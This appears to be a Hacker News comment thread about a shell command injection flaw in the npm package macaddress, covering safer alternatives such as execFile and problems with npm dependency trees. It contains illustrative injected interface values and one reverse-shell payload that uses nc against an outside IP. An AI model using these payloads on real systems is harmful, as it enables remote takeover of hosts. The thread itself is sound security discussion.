Critical vulnerability of NPM package macaddress(nodesecurity.io)
nodesecurity.io
Critical vulnerability of NPM package macaddress
https://nodesecurity.io/advisories/654
98 comments
Yeah, that's dirty. I hate to be an apologist for this kind of thing, but this vulnerability is in the same time zone to me as saying mysql2 has a critical vulnerability if attackers get access to connection.query's first argument.
The package definitely should be updated, and I appreciate being informed, but "No fix is currently available for this vulnerability" strikes me as a little disingenuous. Object.Freeze a list of iface options, and validate user input against that.. Wouldn't that prevent this attack?
The package definitely should be updated, and I appreciate being informed, but "No fix is currently available for this vulnerability" strikes me as a little disingenuous. Object.Freeze a list of iface options, and validate user input against that.. Wouldn't that prevent this attack?
Someone familiar with databases and SQL will understand that giving an attacker direct access to write a query is going to make you vulnerable, even with zero knowledge of how the thing is implemented. A function for retrieving a MAC address does not have the same expectation. Without knowing how it’s inplemented, it’s quite reasonable to expect such a function to behave sanely on arbitrary input.
The correct thing to do is either not use the library, or to restrict usage by never pass arbitrary user-controllable data to it. Whitelisting would definitely work, as long as the whitelist cannot be externally manipulated. Don't expose the whitelist rather than relying on Object.Freeze.
Don't forget the just-as-bad-but-maybe-worse version for the generic Unix[0] platform. The Mac OS X version[1] is equally bad.
Ironically, I don't see this problem in the Windows version[2].
[0] https://github.com/scravy/node-macaddress/blob/dd079620d11c9...
[1] https://github.com/scravy/node-macaddress/blob/dd079620d11c9...
[2] https://github.com/scravy/node-macaddress/blob/dd079620d11c9...
Ironically, I don't see this problem in the Windows version[2].
[0] https://github.com/scravy/node-macaddress/blob/dd079620d11c9...
[1] https://github.com/scravy/node-macaddress/blob/dd079620d11c9...
[2] https://github.com/scravy/node-macaddress/blob/dd079620d11c9...
I think the Windows code may be broken as well though for entirely different reason. It doesn't handle overlapping names of network interfaces. It searches for the first occurrence of the text of iface[1] in the output and then returns the next macaddress-ish text it finds.
That means "Local Area Connection" will also match "Local Area Connection 2", "Local Area Connection 3", etc and the sort order of the ipconfig command will determine which one you will return.
[1]: https://github.com/scravy/node-macaddress/blob/dd079620d11c9...
That means "Local Area Connection" will also match "Local Area Connection 2", "Local Area Connection 3", etc and the sort order of the ipconfig command will determine which one you will return.
[1]: https://github.com/scravy/node-macaddress/blob/dd079620d11c9...
Nodejs API docs for exec say:
> Never pass unsanitized user input to this function. Any input containing shell metacharacters may be used to trigger arbitrary command execution.
I've always wondered what exactly the best way to do this is... searching about sanitising user input into shells always results in suggestions for something quite extreme like stripping non-alphanumerics or something similar. But much of the time user inputs are just passed as parameters or built into paths as in this case, so I wondered, is it enough to quote them instead? we don't need the features of double quotes when building the string in some other language in which case the rules for single quotes apply:
From GNU Bash 3.1.2.2 Single Quotes:
> Enclosing characters in single quotes (‘'’) preserves the literal value of each character within the quotes. A single quote may not occur between single quotes, even when preceded by a backslash.
In which case is it possible to get away with just "sanitizing" for single quote usage and then single quote all paramaters?:
> Never pass unsanitized user input to this function. Any input containing shell metacharacters may be used to trigger arbitrary command execution.
I've always wondered what exactly the best way to do this is... searching about sanitising user input into shells always results in suggestions for something quite extreme like stripping non-alphanumerics or something similar. But much of the time user inputs are just passed as parameters or built into paths as in this case, so I wondered, is it enough to quote them instead? we don't need the features of double quotes when building the string in some other language in which case the rules for single quotes apply:
From GNU Bash 3.1.2.2 Single Quotes:
> Enclosing characters in single quotes (‘'’) preserves the literal value of each character within the quotes. A single quote may not occur between single quotes, even when preceded by a backslash.
In which case is it possible to get away with just "sanitizing" for single quote usage and then single quote all paramaters?:
exec(`cat '/sys/class/net/${iface.replace(/'/g, '')}/address'`, () => {})
iface = `'; touch /uhoh;`
cat '/sys/class/net/; touch /uhoh;/address'
=> cat: '/sys/class/net/; touch /uhoh/address': No such file or directory
cat '/sys/class/net/` touch /uhoh `/address'
=> cat: '/sys/class/net/`touch /uhoh`/address': No such file or directoryEscaping and quoting is the wrong way to go. Even if it works you're technically not totally correct as you can't reference my network interface named "bad'name"[1].
If you can avoid fork/exec you're always better off. In this case reading the file directly is fine. I can't think of a valid reason to fork and invoke cat.
If you have a legit reason to fork and run then use execFile(...) as you can pass the arguments as an actual array. No escaping needed as it gets passed in total without shell parsing of args. Your example would be something like:
[1]: Yes this sounds stupid but it's a valid file name. A more realistic one may be something like "Alice's Wi-Fi".
[2]: https://nodejs.org/api/child_process.html#child_process_chil...
If you can avoid fork/exec you're always better off. In this case reading the file directly is fine. I can't think of a valid reason to fork and invoke cat.
If you have a legit reason to fork and run then use execFile(...) as you can pass the arguments as an actual array. No escaping needed as it gets passed in total without shell parsing of args. Your example would be something like:
execFile('/bin/cat', ['--', `/sys/class/net/${iface}/address`,], (error, stdout, stderr) => { ... })
[1]: Yes this sounds stupid but it's a valid file name. A more realistic one may be something like "Alice's Wi-Fi".
[2]: https://nodejs.org/api/child_process.html#child_process_chil...
> Escaping and quoting is the wrong way to go. Even if it works you're technically not totally correct as you can't reference my network interface named "bad'name"[1]. If you can avoid fork/exec you're always better off. In this case reading the file directly is fine. I can't think of a valid reason to fork and invoke cat.
Yes I get that, I should have clarified: in the general use of exec (i.e a valid and necessary use).
> If you have a legit reason to fork and run then use execFile(...)
You are absolutely right, execFile is a much better way, I've used it before and I guess you are right - in _most_ cases this should be the #1 choice.
[edited] - irrelevant details of obscure case where execFile isn't enough.
Anyway, in a case where exec through a shell is necessary for some reason, i'm wondering if this method of single quoting is actually safe or not, as far as I can see it is, but i'm not a security expert.
Yes I get that, I should have clarified: in the general use of exec (i.e a valid and necessary use).
> If you have a legit reason to fork and run then use execFile(...)
You are absolutely right, execFile is a much better way, I've used it before and I guess you are right - in _most_ cases this should be the #1 choice.
[edited] - irrelevant details of obscure case where execFile isn't enough.
Anyway, in a case where exec through a shell is necessary for some reason, i'm wondering if this method of single quoting is actually safe or not, as far as I can see it is, but i'm not a security expert.
Quoted exactly right, it will not be exploitable. However, this amounts to declaring which input is disallowed, generally not a good idea. It is preferrable to declare which input is allowed.
In this case, matters are worse because without knowing which shell we are running under and which cat we are executing it is impossible to know the complete list of dangerous characters. (In fact, if some sloppy sysadmin have a dot in the search path, the cat binary might even be attacker uploaded.)
(The fact that cat is even in there is of course doubly insane. They start an extra process just to make reading the data slightly more complicated.)
In this case, matters are worse because without knowing which shell we are running under and which cat we are executing it is impossible to know the complete list of dangerous characters. (In fact, if some sloppy sysadmin have a dot in the search path, the cat binary might even be attacker uploaded.)
(The fact that cat is even in there is of course doubly insane. They start an extra process just to make reading the data slightly more complicated.)
Thanks
> matters are worse because without knowing which shell we are running under
The shell in exec can be configured, it's /bin/sh by default but of course this is linked to all kinds of different things on different OS, ubuntu links to dash, used to be bash, FreeBSD has a "proper" sh. I suppose if going through a shell was somehow necessary you could try to be more secure by specifying a absolute path to a shell but...
> In fact, if some sloppy sysadmin have a dot in the search path, the cat binary might even be attacker uploaded.
:P I feel like it's game over at that point, is there really any point in worrying about library security when the $PATH has been effectively hijacked?
> matters are worse because without knowing which shell we are running under
The shell in exec can be configured, it's /bin/sh by default but of course this is linked to all kinds of different things on different OS, ubuntu links to dash, used to be bash, FreeBSD has a "proper" sh. I suppose if going through a shell was somehow necessary you could try to be more secure by specifying a absolute path to a shell but...
> In fact, if some sloppy sysadmin have a dot in the search path, the cat binary might even be attacker uploaded.
:P I feel like it's game over at that point, is there really any point in worrying about library security when the $PATH has been effectively hijacked?
> is there really any point in worrying about library security when the $PATH has been effectively hijacked?
Well, there might be legitimate (although somewhat misguided) reasons for someone to do that. People routinely do similar things in dev environments all the time. I can absolutely see how it could reach production. If you don't expect your web app to launch shell scripts you might not even think about it.
It's the small things, which in themselves might not be serious or even noteworthy, which compound together to deliver the nasty surprises.
Well, there might be legitimate (although somewhat misguided) reasons for someone to do that. People routinely do similar things in dev environments all the time. I can absolutely see how it could reach production. If you don't expect your web app to launch shell scripts you might not even think about it.
It's the small things, which in themselves might not be serious or even noteworthy, which compound together to deliver the nasty surprises.
I'm not a JS developer, so this as much of a question as it is a statement.
`exec` is a system call and doesn't call bash or any other shell. At least, it shouldn't.
If it does, then it would be wrong to assume that bash is even available.
Either way. The single quote sytax is specific to bash (and maybe sh, dash, etc. I'm not certain.) so, don't rely upon it.
`exec` is a system call and doesn't call bash or any other shell. At least, it shouldn't.
If it does, then it would be wrong to assume that bash is even available.
Either way. The single quote sytax is specific to bash (and maybe sh, dash, etc. I'm not certain.) so, don't rely upon it.
You are describing execFile in nodejs which directly spawns a binary into a child process and explicitly passes each argument from an array (Other's here have mentioned it's the prefered way as it obviously avoids any arbitrary execution potential of going through a shell)...
exec is not a system call in nodejs, it's just a convenience function that sets up a child process and spawns a shell (of your choosing) and then passes the first argument as the single command.
exec is not a system call in nodejs, it's just a convenience function that sets up a child process and spawns a shell (of your choosing) and then passes the first argument as the single command.
In this particular case, you know the result has to be a subpath under /sys/class/net/... and, specifically, an interface name. I'm 95% sure that, if it's not alphanumeric, you can safely throw it out (and the other 5% is in the kernel and udev docs).
> In this particular case, you know the result has to be a subpath under /sys/class/net
I get that in _this_ case, but I'm talking more generally, sometimes parameters are allowed to or even need to have various other non alphanumeric chars, and then you start going down the fallible road of differentiation... trying to sanitise not quite everything without letting exploits pass through which is dangerous.
But in the more general case of "it's a parameter" can't we just quote it, sanitise for single quotes and then know it's safe?
I get that in _this_ case, but I'm talking more generally, sometimes parameters are allowed to or even need to have various other non alphanumeric chars, and then you start going down the fallible road of differentiation... trying to sanitise not quite everything without letting exploits pass through which is dangerous.
But in the more general case of "it's a parameter" can't we just quote it, sanitise for single quotes and then know it's safe?
> after verifying that the iface parameter does not contain a directory separator.
No, this is terrible practice. The correct solution is to verify that the interface name is well formed. Use a whitelist, not a blacklist. And, for good measure, use a real path manipulation library if available.
No, this is terrible practice. The correct solution is to verify that the interface name is well formed. Use a whitelist, not a blacklist. And, for good measure, use a real path manipulation library if available.
How are you going to white-list network-interface names? On Linux at least you can name them almost anything you want:
% sudo ip link set eth3 down
% sudo ip link set eth3 name "'deal-with-it'"
% sudo ip link show "'deal-with-it'"
5: 'deal-with-it': <BROADCAST,MULTICAST> mtu 1500 qdisc mq state DOWN mode DEFAULT group default qlen 10000
link/ether xx:xx:xx:xx:xx:xx brd ff:ff:ff:ff:ff:ff
So I guess the question is does a regex of [^/ ]{1,15} count as a whitelist or a blacklist?
So does Linux allow .. as an interface name? If so, that’s nuts.
Yikes. Even if fixed I would be highly suspect of the rest of the code written by someone who felt they needed an exec call to read a file.
Perhaps I should make a new npm module named cat
Perhaps I should make a new npm module named cat
module.exports = require('fs').readFile;
You joke but I've come across many one line modules in the npm registry... usually when trying to figure out if I trust the tree of some prospective module i'm considering including in my code - It's a serious problem for module authors because most aren't even aware they are including all of this crap, they see the first level of dependencies looks fairly reasonable, but you have to keep digging and then you find all kinds of crazy ridiculous things just because one otherwise reasonable person in the chain didn't quite look closely enough at something they were depending on which opened up a doorway to hell.
My general rule is to just avoid trees deeper than a few levels unless there is a very good reason (unless i'm creating a public module in which case I aim for zero, usually end up with 1 or 2 one level dependencies) - most node modules are the unix philosophy taken way too far, every pattern is bad when incorrectly used.
My general rule is to just avoid trees deeper than a few levels unless there is a very good reason (unless i'm creating a public module in which case I aim for zero, usually end up with 1 or 2 one level dependencies) - most node modules are the unix philosophy taken way too far, every pattern is bad when incorrectly used.
This is kind of embarrassing but the advisories page is full of gems like that: https://nodesecurity.io/advisories
I'm shocked. There are almost 30 advisories in May alone that are 7+.
To put this into perspective Perl, which I like, with its modules had 3 this year. And 3 last year. Three per year. Three. https://www.cvedetails.com/vulnerability-list/vendor_id-1885...
To put this into perspective Perl, which I like, with its modules had 3 this year. And 3 last year. Three per year. Three. https://www.cvedetails.com/vulnerability-list/vendor_id-1885...
Counting vulnerabilities is entirely useless. You can easily attribute more vulns to better security, as it may indicate a larger/ better group of people are looking for vulnerabilities.
I actually find that is generally the case.
I actually find that is generally the case.
Generally, how much vulnerabilities is too much? I think Node is past this point.
There is no limit - as I said, counting is pointless.
As an example, lots of projects have active bug bounty programs where they pay people to disclose vulns. This generates more CVEs than a competing product that does not pay for more vulns. Would we then call the project with a bug bounty program less secure? I'd hope not.
Alternatively, what about impact? Maybe 100 DOS's is less serious than 5 RCE's, or 10 privescs is more serious than 1 RCE? How do we convert between these severities to understand risk?
Counting vulns is pointless.
As an example, lots of projects have active bug bounty programs where they pay people to disclose vulns. This generates more CVEs than a competing product that does not pay for more vulns. Would we then call the project with a bug bounty program less secure? I'd hope not.
Alternatively, what about impact? Maybe 100 DOS's is less serious than 5 RCE's, or 10 privescs is more serious than 1 RCE? How do we convert between these severities to understand risk?
Counting vulns is pointless.
I think comparing is pointless. You are correct that a project with a small number of vulns is no more secure than the one with a high number of vulns. But counting seem sensible - if a project spills major vulns at a continuous rate it means two things: the overall codebase is not improving, and who knows how many more vulns there are. It's not something to be happy about.
I disagree for exactly the reasons I've stated - "more vulns" doesn't take impact into account. "More vulns" doesn't take who is reporting them into account (internal? paid pentester?). These things matter a lot.
Again, look at projects that pay for vulns. They have hundreds a year - this is a good thing. They come in at a continuous rate.
Counting is pointless.
Again, look at projects that pay for vulns. They have hundreds a year - this is a good thing. They come in at a continuous rate.
Counting is pointless.
This is so awful that its existence is borderline suspicious. It's also conveniently just part of a massive "v1.0" (initial commit).
Other platforms do `exec` calls, e.g. `"ifconfig " + iface`, etc. This `cat` is odd, but still within what can be attributed to sloppiness (and copy-paste-driven programming) rather than malice.
exec cat is so odd that I can't seriously attribute it to sloppiness. It's for reading a file, and much more cumbersome.
Plus, exec is not something to be taken lightly, to the point where I'd barf if I found out a lib I depended on exec'd internally and immediately remove it, unless there was absolutely no other way to perform the action for some absurd reason.
Plus, exec is not something to be taken lightly, to the point where I'd barf if I found out a lib I depended on exec'd internally and immediately remove it, unless there was absolutely no other way to perform the action for some absurd reason.
Somebody Google'd "get mac address from script linux" and scrolled through a couple things involving awk and other nonsense until they found something easily digestible--a StackOverflow answer saying:
This is someone doing work without a full understanding of the problem space. Less of a programmer, more of a programming technologist. I don't find it surprising at all.
For particular interface like for eth0:
cat /sys/class/net/eth0/address
This is someone doing work without a full understanding of the problem space. Less of a programmer, more of a programming technologist. I don't find it surprising at all.
Hmm, an adequate explanation, but why in the world is someone making a public library out of that, and furthermore, why in the world are people using this library? The library has been downloaded 2300 times in the past year!
I have nothing against bad developers—we all started there—but there is something seriously wrong with the JavaScript ecosystem and the barrier of entry for pushing your code into other people's projects through libraries.
I have nothing against bad developers—we all started there—but there is something seriously wrong with the JavaScript ecosystem and the barrier of entry for pushing your code into other people's projects through libraries.
My point is, it's likely that the first line was something like exec("ifconfig " + name), then it was copied and edited to exec("networksetup -getmacaddress"), then this exec("cat") had happened. Because laziness.
It really wouldn't be a problem (a poor and ineffective code for sure, but no security bugs), if all the arguments would be correctly validated (and escaped, although valid interface names probably don't need it).
It really wouldn't be a problem (a poor and ineffective code for sure, but no security bugs), if all the arguments would be correctly validated (and escaped, although valid interface names probably don't need it).
In what scenarios could this be abused?
If some user input is going into anything this library uses you can take over the box pretty much, execute anything you want (at the user level of node).
Probably really hard to figure out what user input triggers that to be honest unless you have the source code of the app.
This package has nearly 100M downloads a year which is pretty astonishing.
Probably really hard to figure out what user input triggers that to be honest unless you have the source code of the app.
This package has nearly 100M downloads a year which is pretty astonishing.
I get that part, but in what scenario will user input actually be provided to this package? It feels like this is highly unlikely and that there probably won't be any cases where this will actually be an issue. I may be wrong though, I just can't think of anything.
An example off the top of my head would be some sort of IoT device which has a drop-down to communicate via 4G, WiFi, ethernet etc. I'd be they'd put the value of the select to be the interface name and wouldn't check input value, so you could craft a special request with a bad value. But I do agree; not super easy to exploit.
The more worrying fact is something like this which could easily be drawn in to 100m installs.
The more worrying fact is something like this which could easily be drawn in to 100m installs.
Anything which passes "iface" through without sanitising it.
The argument to exec is executed in a shell, so it can execute just about anything it likes, such as dialing out to a host under the attacker's control and giving it direct shell access.
e.g.
The argument to exec is executed in a shell, so it can execute just about anything it likes, such as dialing out to a host under the attacker's control and giving it direct shell access.
e.g.
macaddress.one(";nc 1.2.3.4 4444 –e /bin/sh;", () => {})I think the OP was trying to imagine a scenario where a potentially malicious user would be asked to pass in the interface string.
I'm admittedly a n00b here. Is operating exec with any kind of unverified user provided data inherently dangerous?
Me too... with figuring out security with exec at least. Yes is the answer, and this is noted in the nodejs documentation for exec.
The difficulty seems to be that there is no generic pattern for making it safe with exec, it's contextual. Preventing exploits requires you to consider which shell, which command and which part of that combination is being exposed to your user input for you to know exactly what must be sanitised from your user input if you want anything more than alphanumerics.
I suggested one simpler safe pattern lower down in this thread which is encapsulating user based parameters in single quotes (which requires only sanitising against single quotes). Although this is safe, others have noted valid arguments against this too.
It seems like it's just best avoided unless absolutely necessary (most often it's not).
The difficulty seems to be that there is no generic pattern for making it safe with exec, it's contextual. Preventing exploits requires you to consider which shell, which command and which part of that combination is being exposed to your user input for you to know exactly what must be sanitised from your user input if you want anything more than alphanumerics.
I suggested one simpler safe pattern lower down in this thread which is encapsulating user based parameters in single quotes (which requires only sanitising against single quotes). Although this is safe, others have noted valid arguments against this too.
It seems like it's just best avoided unless absolutely necessary (most often it's not).
Also this interface assumes that the kernel is using sysfs.
There is no dearth of amateurish shenanigans in node infrastructure, there is a reason that people are still reluctant to switch from php/python despite so many selling points of node.
These kinds of bugs are language independent, the source is between the screen and the keyboard.
The "amateurish shenanigans" alluded to probably has nothing to do with the language but the project itself.
If anyone can commit anything and nobody ever reads what is to be commited, the repository must be regarded as attacker controlled. Some people will likely find that problematic.
If anyone can commit anything and nobody ever reads what is to be commited, the repository must be regarded as attacker controlled. Some people will likely find that problematic.
They are language-independent but may still have a higher incidence in one community than another. Anecdotally, these basic mistakes seem to happen more in Node packages or JS-based projects, but I have no concrete evidence for this speculation. The only study I know of looking at this in a serious way is this one:
http://web.cs.ucdavis.edu/~filkov/papers/lang_github.pdf (https://news.ycombinator.com/item?id=8558740)
However, JavaScript ends up a being less prone to defective commits than C++ and C, as well as PHP and Python, but there are a number of issues that don't allow us to conclude all that much from these results (imo).
http://web.cs.ucdavis.edu/~filkov/papers/lang_github.pdf (https://news.ycombinator.com/item?id=8558740)
However, JavaScript ends up a being less prone to defective commits than C++ and C, as well as PHP and Python, but there are a number of issues that don't allow us to conclude all that much from these results (imo).
> Anecdotally, these basic mistakes seem to happen more in Node packages or JS-based projects
It's just bias. Python code is riddled with vulns - especially since it's all C under the hood.
https://hackernoon.com/python-sandbox-escape-via-a-memory-co...
Here's a great post that covers some issues in Python modules and why they're extra exploitable because they execute under CPython.
This is a particularly relevant quote:
> Perhaps less recognized is the fact that memory corruption bugs are reported in popular Python modules all the time without so much as a CVE, a security advisory, or even a mention of security fixes in release notes.
It's just bias. Python code is riddled with vulns - especially since it's all C under the hood.
https://hackernoon.com/python-sandbox-escape-via-a-memory-co...
Here's a great post that covers some issues in Python modules and why they're extra exploitable because they execute under CPython.
This is a particularly relevant quote:
> Perhaps less recognized is the fact that memory corruption bugs are reported in popular Python modules all the time without so much as a CVE, a security advisory, or even a mention of security fixes in release notes.
Many people here are saying that the problem had been in the code base for years, was super obvious, and that just no one looked at the code.
I think that it is much more relevant that the node community does do many micro packages, that it makes so much nose to look at the quality of pulled in packages.
I recently pulled down a web app (Zulip) the packages.json expands to almost 1400 npm packages. How is any human going to look at all that. And apparently it is "normal" for an npm project to have that many dependencies.
Too me this is madness. It is impossible to know the quality of all those packages.
I think that it is much more relevant that the node community does do many micro packages, that it makes so much nose to look at the quality of pulled in packages.
I recently pulled down a web app (Zulip) the packages.json expands to almost 1400 npm packages. How is any human going to look at all that. And apparently it is "normal" for an npm project to have that many dependencies.
Too me this is madness. It is impossible to know the quality of all those packages.
I am not a fan of the whole javascript craze but for comparison on my desktop machine with I assume average setup of ElementaryOS:
$ apt list --installed | wc -l
2394
That is for everything required to run an entire operating system. You're actually putting Node's micro-package madness into even more of a negative light from this comparison -- if it takes only several hundred packages to run an entire distribution, why is it reasonable to require that many packages to run a single web application (not to mention that most distribution packages don't depend on hundreds of others)?
The difference is that the only people looking into NPM packages are the Node community. The entire Linux community -- which includes a large portion of the Node community mind you -- looks into the set of packages you are looking at (yes, we've had a bad rap in recent years -- but in our defence we really are trying).
I'm a little biased with regards to distributions (I work for SUSE), but I like to think that working on a distribution has given me a much better understanding of how much work goes into those packages. I don't think you could adequately replicate most of that engineering in the time that most micro-package ecosystems have been around.
The difference is that the only people looking into NPM packages are the Node community. The entire Linux community -- which includes a large portion of the Node community mind you -- looks into the set of packages you are looking at (yes, we've had a bad rap in recent years -- but in our defence we really are trying).
I'm a little biased with regards to distributions (I work for SUSE), but I like to think that working on a distribution has given me a much better understanding of how much work goes into those packages. I don't think you could adequately replicate most of that engineering in the time that most micro-package ecosystems have been around.
Sure, but the major difference is that those packages are for everything on your system. Dependencies are often added very carefully.
In the node case it is not uncommon for a small app to include 50 small packages, and then those packages pulled in 30 unique smaller packages each (on average).
Imagine you did an apt upgrade on your system, or decided to install a new package and it said it was going to install 1500 new packages. Would you continue? It would definitely make me pause for a while. But this is the norm in the node world, and people seem to think it is a good idea.
In the node case it is not uncommon for a small app to include 50 small packages, and then those packages pulled in 30 unique smaller packages each (on average).
Imagine you did an apt upgrade on your system, or decided to install a new package and it said it was going to install 1500 new packages. Would you continue? It would definitely make me pause for a while. But this is the norm in the node world, and people seem to think it is a good idea.
[deleted]
I think that's the point. Outside of very few operating systems and languages with the organization and history supporting them, there's not much that one should trust. Since you can't validate every package yourself, you have to ask yourself if you trust your counterparty. Do you trust ElementaryOS to do have dozens of people validating upstreams before pulling into stable and correctly doing proper package source integrity steps like Red Hat, Canonical, SUSE, et al do? I know they are Ubuntu LTS based but what are the additional packages and how carefully are they curated, built, and stored?
May the answer is to not use Node or ElementaryOS depending on how important security is to you. May I'm the weirdo for critically inspecting 3rd party libraries before including them and looking at the transitive dependencies they pull along.
May the answer is to not use Node or ElementaryOS depending on how important security is to you. May I'm the weirdo for critically inspecting 3rd party libraries before including them and looking at the transitive dependencies they pull along.
The trust model of linux distro is different from NPM. Dependning on the distro, there may be many maintainers who are separate from upstream developers. These maintainers may manage 5-10 pcakages on average and usually keep tabs on the upstream.
There's just no equivalent of maintainers in the NPM land.
There's just no equivalent of maintainers in the NPM land.
Not the same thing. Your desktop install might include a few thousand packages total, but that doesn't mean any significant number of packages pull in a thousand dependencies by themselves. Node packages might consist of a single function.
I'm starting to wonder if this is just a fundamental weakness of open source software.
Compare with a commercial platform, such as .NET or Cocoa - there you've got more "batteries included" libraries, with relatively large, standardized packages that have short dependency trees, being maintained by people who are paid to pay attention to these sorts of details.
This isn't to say that commercial software is bug-free - far from it. If something passes code review, it's not going to be looked at again until someone's being paid to look at it again. Which gets you to a similar place as with open source: Software is buggy.
Mostly, though, it leaves me thinking that the whole ideal of, "It's open source, so you can assume many eyes are looking at it," is a pipe dream. Probably the bystander effect is closer to the truth: If it's a small project, I'm relatively likely to at least cursorily look over the code before taking a dependency on it. If it's a big project, though, I just assume someone else is doing that. Just like everyone else.
If it's a big project taking dependencies on small projects, though, that seems to be the worst situation. Nobody can make sense of that.
Compare with a commercial platform, such as .NET or Cocoa - there you've got more "batteries included" libraries, with relatively large, standardized packages that have short dependency trees, being maintained by people who are paid to pay attention to these sorts of details.
This isn't to say that commercial software is bug-free - far from it. If something passes code review, it's not going to be looked at again until someone's being paid to look at it again. Which gets you to a similar place as with open source: Software is buggy.
Mostly, though, it leaves me thinking that the whole ideal of, "It's open source, so you can assume many eyes are looking at it," is a pipe dream. Probably the bystander effect is closer to the truth: If it's a small project, I'm relatively likely to at least cursorily look over the code before taking a dependency on it. If it's a big project, though, I just assume someone else is doing that. Just like everyone else.
If it's a big project taking dependencies on small projects, though, that seems to be the worst situation. Nobody can make sense of that.
Look inside that "commercial" software of yours, chances are that it bundles both five crappy js libs but also a vulnerable version of gzip. Large parts of the code of any non-trivial software package will be open source code.
There are literally people who makes their living from pointing these things out.
Unless your software is among the absolutely most widespread, chances are it's not audited at all.
(Also, can we please leave the perceived distinction between "commercial" and "open source" in the 90s where it belongs?)
There are literally people who makes their living from pointing these things out.
Unless your software is among the absolutely most widespread, chances are it's not audited at all.
(Also, can we please leave the perceived distinction between "commercial" and "open source" in the 90s where it belongs?)
I think it’s a misapprehension to focus on the granularity of release items (packages). Why should that especially influence the security (or other variables of quality) of the underlying source?
If a given app includes 1400 pieces of code, does it matter that you can discern all 1400 externally vs if all 1400 are bundled into a single package?
However it’s bundled, there’s code beneath for it all, all with the same potential problems. All of it with the same need to be reviewed and/or trusted.
If anything, the transparency may help. It’s certainly hard for me to see why it hurts.
If a given app includes 1400 pieces of code, does it matter that you can discern all 1400 externally vs if all 1400 are bundled into a single package?
However it’s bundled, there’s code beneath for it all, all with the same potential problems. All of it with the same need to be reviewed and/or trusted.
If anything, the transparency may help. It’s certainly hard for me to see why it hurts.
npmjs shows 1,325,674 weekly downloads.
The current version was released 3 years ago.
The code is small and straightforward.
Using exec("cat x " + userdata) to read a file in any language should immediately drive any developer nuts.
Apparently, nobody ever looked at the code. Or maybe some people did, but never reported it. Pretty sure some companies did, fixed it in their closed local fork and never notified the author nor contributed their fix back.
This is really scary, and really bad for the trustworthiness of open-source software.
The current version was released 3 years ago.
The code is small and straightforward.
Using exec("cat x " + userdata) to read a file in any language should immediately drive any developer nuts.
Apparently, nobody ever looked at the code. Or maybe some people did, but never reported it. Pretty sure some companies did, fixed it in their closed local fork and never notified the author nor contributed their fix back.
This is really scary, and really bad for the trustworthiness of open-source software.
This has been biting a lot of people as the mostly unmaintained cssnano uses it, which in turn is used by create-react-app. Previously this would have probably gone unnoticed, but npm audit in npm6 has brought it front and centre.
> biting a lot of people
In what sense? I doubt there are many apps (if any) out there that actually have a vulnerability here, because it's unlikely that a web app out there is going to be passing random user input to a mac address package.
In what sense? I doubt there are many apps (if any) out there that actually have a vulnerability here, because it's unlikely that a web app out there is going to be passing random user input to a mac address package.
It's amazing that something like cssnano would have a dependency on getting MAC addresses. WTF?
I maintain a package that has an indirect dep to macaddress because of UUID generation. UUID v2 is generated from Mac address + timestamp. My package only generates uuid v4 (fully random) and even if it was, the uuid dep doesn't expose the vulnerable argument. As such it isn't vulnerable. But the dep is still there.
This isn't surprising at all tbh.
This isn't surprising at all tbh.
A dependency for uuid4 is hardly needed:
crypto = require('crypto');
function uuid4() {
const bytes = crypto.randomBytes(16);
bytes[6] = (bytes[6] & 0x0f) | 0x40;
bytes[8] = (bytes[8] & 0x3f) | 0x80;
return bytes.toString('hex').match(/(.{8})(.{4})(.{4})(.{4})(.{12})/).slice(1).join('-');
}I mean sure. But I also need to parse UUID. And do other things with it. Even if I didn't need to, I'd still likely use the uuid-1345 crate for it.
Here's the thing: If I import this code in my codebase directly instead of using a library, it suddenly becomes my "responsibility" if it breaks. And when we're talking about a FOSS side-project, I don't have that kind of time. Third-party libraries means I get any improvements and bug-fixes for free. And if it breaks, I get to talk with the original maintainer to figure it out, and we're suddenly two people, with one hopefully knowledgable enough on the topic, working on the problem.
Importing this kind of thing in make codebase makes it an ugly unwieldy mess that will inevitably break, and I suddenly will be alone trying to figure out what I did wrong. This is what's good about npm and libraries: the community that's built around it.
Here's the thing: If I import this code in my codebase directly instead of using a library, it suddenly becomes my "responsibility" if it breaks. And when we're talking about a FOSS side-project, I don't have that kind of time. Third-party libraries means I get any improvements and bug-fixes for free. And if it breaks, I get to talk with the original maintainer to figure it out, and we're suddenly two people, with one hopefully knowledgable enough on the topic, working on the problem.
Importing this kind of thing in make codebase makes it an ugly unwieldy mess that will inevitably break, and I suddenly will be alone trying to figure out what I did wrong. This is what's good about npm and libraries: the community that's built around it.
Well, surely you put the line somewhere? Would you depend on `leftpad`? How about `is-odd`?
Your view of dependencies is very idealistic. And if I'd venture to guess - apologies if I'm wrong - young, at least to programming. I'm saying this because you don't tend to hear such phrases once reality hits.
Everything you said can be flipped:
> If I import this code in my codebase directly instead of using a library, it suddenly becomes my "responsibility" if it breaks.
I have full control & understanding of the code; I can adjust & trim so it fits as much as possible. If it breaks, I can fix it directly.
> And when we're talking about a FOSS side-project, I don't have that kind of time.
Copying/hand rolling some trivial code is often faster than deciding among a dozen libraries which do the same thing, reading their docs, their issue pages and open PRs, adding and integrating to my project.
> Third-party libraries means I get any improvements and bug-fixes for free.
I must keep the dependencies updated. I must read changelogs and hope nothing breaks.
> And if it breaks, I get to talk with the original maintainer to figure it out
I must use inefficient communication with a more-often-than-not absent maintainer in order to resolve my problem instead of fixing it directly.
> I suddenly will be alone trying to figure out what I did wrong
I am able to be self-reliant in fixing the problem, because I wrote the code and I understand it.
I do not have to trust the maintainer of the package or the maintainers of any of its transitive dependencies to be competent or non-evil.
---
For some things this is worth it. IMO for generating 16 random bytes it is not worth it.
Your view of dependencies is very idealistic. And if I'd venture to guess - apologies if I'm wrong - young, at least to programming. I'm saying this because you don't tend to hear such phrases once reality hits.
Everything you said can be flipped:
> If I import this code in my codebase directly instead of using a library, it suddenly becomes my "responsibility" if it breaks.
I have full control & understanding of the code; I can adjust & trim so it fits as much as possible. If it breaks, I can fix it directly.
> And when we're talking about a FOSS side-project, I don't have that kind of time.
Copying/hand rolling some trivial code is often faster than deciding among a dozen libraries which do the same thing, reading their docs, their issue pages and open PRs, adding and integrating to my project.
> Third-party libraries means I get any improvements and bug-fixes for free.
I must keep the dependencies updated. I must read changelogs and hope nothing breaks.
> And if it breaks, I get to talk with the original maintainer to figure it out
I must use inefficient communication with a more-often-than-not absent maintainer in order to resolve my problem instead of fixing it directly.
> I suddenly will be alone trying to figure out what I did wrong
I am able to be self-reliant in fixing the problem, because I wrote the code and I understand it.
I do not have to trust the maintainer of the package or the maintainers of any of its transitive dependencies to be competent or non-evil.
---
For some things this is worth it. IMO for generating 16 random bytes it is not worth it.
